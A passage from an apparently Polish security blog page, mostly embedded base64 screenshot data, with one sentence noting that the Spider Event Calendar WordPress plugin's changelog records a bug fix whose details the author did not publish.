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" width="640" /><br />
<br />
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
W changelogu (
<a href="https://wordpress.org/plugins/spider-event-calendar/changelog/">https://wordpress.org/plugins/spider-event-calendar/changelog/</a>
) można już zobaczyć wpis o tym, że błąd został poprawiony.
Autor postanowił najwyraźniej nie zamieszczać szczegółów
naprawionego błędu:</div>
<br />
<br />
<img alt="" height="422" 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